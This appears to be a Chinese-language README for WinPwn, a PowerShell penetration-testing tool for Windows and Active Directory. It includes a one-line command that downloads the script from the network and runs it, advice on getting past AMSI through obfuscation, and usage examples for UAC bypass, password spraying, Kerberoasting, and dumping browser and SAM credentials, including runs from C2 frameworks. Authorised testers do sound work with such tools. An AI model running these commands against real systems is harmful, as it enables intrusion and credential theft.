内部Windows渗透测试/AD安全自动化
在过去的许多内部渗透测试中,我经常因为现有的 PowerShell 侦察/利用脚本缺乏代理支持而遇到问题。我也常常一个接一个地运行相同的脚本,以获取当前系统和/或域的信息。为了自动化尽可能多的内部渗透测试流程(侦察以及利用)以及解决代理问题,我编写了自己的脚本,它具备自动代理识别和集成功能。 该脚本主要基于其他著名的、大型的、面向攻击性安全的 PowerShell 项目。
欢迎提出任何建议、反馈、拉取请求和评论!
只需使用以下方式导入模块:
Import-Module .\WinPwn.ps1 或
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
要绕过 AMSI,请使用现有的 绕过技术 之一,找到 AMSI 触发器 并手动在 bypass 函数中更改它,或者对触发器字符串进行编码。或者,对整个脚本进行混淆处理。
如果你发现自己被困在一台没有互联网访问权限的 Windows 系统上——完全没问题,只需使用 Offline_Winpwn.ps1,其中包含了最重要的脚本和可执行文件。
导入后可用的函数:
WinPwn -> 选择攻击方式的菜单:
Inveigh -> 在一个新的控制台窗口中执行 Inveigh,集成了 SMB-Relay 攻击与会话管理(Invoke-TheHash)SessionGopher -> 执行 SessionGopher,询问参数Kittielocal ->Localreconmodules ->Domainreconmodules ->Privescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder 和 Invoke-Sharefinder(Powerview / Powersploit)Domainshares -> 在所有域系统上搜索 Snaffler 或 PassHuntGroupsearch -> Get-DomainGPOUserLocalGroupMapping - 通过组策略映射查找具有管理员访问权限或 RDP 访问权限的系统(Powerview / Powersploit)Kerberoasting -> 在一个新窗口中执行 Invoke-Kerberoast,并存储哈希供后续破解PowerSQL -> SQL Server 发现、使用当前用户检查访问权限、审计默认凭据 + UNCPath 注入攻击Sharphound -> Bloodhound 3.0 报告Adidnsmenu -> 创建或删除 Active Directory 集成 DNS 节点MS17-10 -> 扫描域中的活动 Windows 服务器或所有系统是否存在 MS17-10(Eternalblue)漏洞Sharpcradle -> 从远程 Web 服务器将 C# 文件加载到内存中DomainPassSpray -> DomainPasswordSpray 攻击,一个密码尝试所有域用户Bluekeep -> 针对域系统的 Bluekeep 扫描器如果不带参数,大多数函数只能从交互式 shell 中使用。因此我添加了 -noninteractive 和 -consoleoutput 参数,使脚本可以从异步 C2 框架(如 Empire、Covenant、Cobalt Strike 等)中使用。
另外,添加了 -repo 参数,以便从本地仓库使用 WinPwn 的所有功能。它们的使用方法如下:
用法:
-noninteractive -> 函数不提问,使用预定义或用户定义的参数运行
-consoleoutput -> 不创建 loot/report 文件夹。每个函数将输出返回到控制台,以便你可以在 C2 框架的代理日志中查看所有内容。
示例:
WinPwn -noninteractive -consoleoutput -DomainRecon -> 这将执行每个域侦察脚本和函数,可能会产生非常多的输出
WinPwn -noninteractive -consoleoutput -Localrecon -> 这将尽可能多地枚举本地系统的信息
Generalrecon -noninteractive -> 执行基本的本地侦察函数,并将输出存储在相应的文件夹中
UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> 从低权限会话中在高完整性进程中执行一个加载器
Kittielocal -noninteractive -consoleoutput -browsercredentials -> 通过 SharpWeb 转储浏览器凭据,输出到控制台
Kittielocal -noninteractive -browsercredentials -> 转储 SAM 文件 NTLM 哈希,并将输出存储在文件中
WinPwn -PowerSharpPack -consoleoutput -noninteractive -> 在内存中执行 Seatbelt、PowerUp、Watson 等 C# 二进制文件
Dotnetsearch -consoleoutput -noninteractive -> 在 C:\Program Files\ 和 C:\Program Files (x86)\ 中搜索 .NET 程序集
WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> 使用本地 Web 服务器作为离线仓库,在没有互联网访问的情况下使用 WinPwn
Get_WinPwn_Repo.sh:
用法: ./Get_WinPwn_Repo.sh {选项}
示例: ./Get_WinPwn_Repo.sh --install
选项: --install 下载仓库并放置到 ./WinPwn_Repo/ --remove 删除仓库 ./WinPwn_Repo/ --reinstall 删除仓库并下载新仓库到 ./WinPwn_Repo/ --start-server 在端口 8000 上启动 Python HTTP 服务器 --help 显示此帮助